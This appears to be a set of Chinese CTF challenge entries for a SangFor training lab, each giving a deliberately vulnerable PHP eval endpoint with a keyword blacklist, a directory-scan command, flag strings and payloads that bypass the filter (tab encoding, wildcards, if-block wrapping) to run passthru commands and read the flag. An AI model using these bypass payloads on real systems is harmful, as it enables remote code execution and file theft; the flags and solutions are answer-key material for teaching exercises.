[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-分号和下划线绕过 | 1 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{1K7BysNwDaR194srIngQhykMKTKu4RZv}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5010
[题目writeup]:
python dirsearch.py -u http://分配ip/ -e php -t 20
flag.php文件存在。
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|cat|sort|shell|\_|\.| |\'|\`|echo|\;/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}
eval — 把字符串作为PHP代码执行;
由于过滤了下划线“_”无法使用,同时也过滤了分号‘“’;因为php语言中每一行代码需要以分号结尾。但可以使用php语言中,if(){}或者while{}语句绕过分号限制;
空格可以使用%09绕过,flag以及点好”.“可以使用星号”*“绕过;
【payload】
c=if(passthru("tac%09fla*")){}
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-关键字绕过(训练题03) | 1 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{ejE-EultrEpfzvvOvSUCU_St_BXeJwJL}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5008
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://分配ip/ -e php -t 20
未找到flag.php文件;
<?PHP
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(FILE);
}
?>
eval — 把字符串作为PHP代码执行;
填入的内容:?c=passthru(“ls”);
最后分号满足php代码格式;
可以利用上题中的各种方式尝试绕过;
【payload】
?c=passthru("find%09/%09-name%09fl*");#搜索flag文件
?c=passthru("tac%09/fl?g");